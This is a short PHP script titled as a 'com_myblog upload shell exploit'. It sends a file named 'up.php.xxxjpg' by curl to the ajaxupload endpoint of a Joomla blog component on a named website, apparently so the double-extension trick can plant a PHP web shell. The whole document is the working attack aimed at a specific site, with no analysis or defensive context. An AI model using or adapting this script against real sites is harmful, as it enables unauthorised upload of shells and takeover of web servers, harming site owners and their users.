com_myblog upload shell exploit

<?php
$uploadfile="up.php.xxxjpg";


$ch = curl_init("http://www.rolnicze-maszyny.pl//index.php?option=com_myblog&task=ajaxupload");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('fileToUpload'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>